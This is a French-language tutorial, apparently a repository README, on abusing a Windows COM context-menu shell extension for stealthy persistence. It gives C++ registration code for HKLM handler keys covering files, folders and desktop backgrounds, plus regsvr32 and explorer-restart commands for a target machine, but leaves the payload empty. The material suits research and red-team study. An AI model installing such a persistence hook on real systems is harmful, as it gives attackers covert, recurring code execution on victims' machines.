
Technique de persistance COM Windows
inspiré par CVE-2026-21509
Un exemple d'implémentation d'un gestionnaire de menu contextuel Windows utilisant C++ et COM, démontrant une technique de persistance furtive. En enregistrant un objet COM personnalisé, votre code s'exécute chaque fois qu'un utilisateur fait un clic droit sur des cibles spécifiques (fichiers, dossiers ou arrière-plans) dans l'Explorateur Windows.
Avertissement : Ce projet est destiné uniquement à des fins éducatives et de recherche. Les techniques présentées ici peuvent être utilisées à des fins malveillantes. L'auteur n'approuve pas l'utilisation de ce code pour toute activité illégale. Soyez responsable et utilisez ces connaissances de manière éthique.

DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppContient les fonctions standard requises par un objet COM pour enregistrer et désenregistrer la DLL.
DllRegisterServer() : écrit les chemins du registre correspondant aux extensions de fichier/arrière-plans cibles. Exécuté lors de l'enregistrement de la DLL.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer() : nettoie le registre. Appelée lorsque la DLL est désenregistrée.MyClassFactoryNécessaire pour instancier l'objet COM. En savoir plus sur les fabriques de classes.
Clsid_defined.hContient le GUID sous lequel l'application sera enregistrée dans l'Explorateur. Vous pouvez générer un nouveau GUID à l'aide de guidgen.exe de Visual Studio ou d'un Générateur de GUID en ligne.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.defLe fichier de définition de module. Il dicte les fonctions que la DLL exporte. En savoir plus sur les fichiers .DEF.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppLa classe principale implémentant IShellExtInit et IContextMenu. C'est ici que vous définissez vos actions personnalisées.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
Appelée chaque fois qu'un clic droit se produit sur votre cible enregistrée. Utilisée pour analyser quel fichier ou dossier a été cliqué.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
Appelée lorsque l'utilisateur clique sur votre option personnalisée spécifique dans le menu contextuel. C'est ici que votre charge utile de persistance ou votre action personnalisée s'exécute.Sur la VM cible, copiez la DLL compilée et exécutez les commandes suivantes :
Enregistrez la DLL à l'aide des binaires Windows standard.
regsvr32.exe RightHandPersistence.dll
Redémarrez le processus explorer.exe pour garantir qu'il charge la nouvelle extension de shell en mémoire.
taskkill /f /im explorer.exe & start explorer.exe
Pour supprimer le gestionnaire de menu contextuel et nettoyer le registre, utilisez l'option /u avec regsvr32.exe. Cela appelle votre fonction DllUnregisterServer.
regsvr32.exe /u RightHandPersistence.dll
Windows catégorise l'espace vide différemment des fichiers. Pour cibler l'arrière-plan, mappez vos clés de registre à ces emplacements spécifiques.
Plus de détails sur le mappage des extensions se trouvent dans la documentation du menu contextuel du shell Microsoft.
Vous pouvez spécifier un texte personnalisé pour le menu (par exemple, 'Copie personnalisée' ou 'Exécuter un diagnostic') en implémentant la méthode IContextMenu::QueryContextMenu. Cliquer sur ce texte personnalisé déclenche votre logique à l'intérieur de IContextMenu::InvokeCommand.
| Cible du clic droit | Chemin de la clé de registre |
|---|
| Fichiers (Tous) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| Dossiers (L'icône) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| Arrière-plan du dossier | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| Arrière-plan du bureau | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |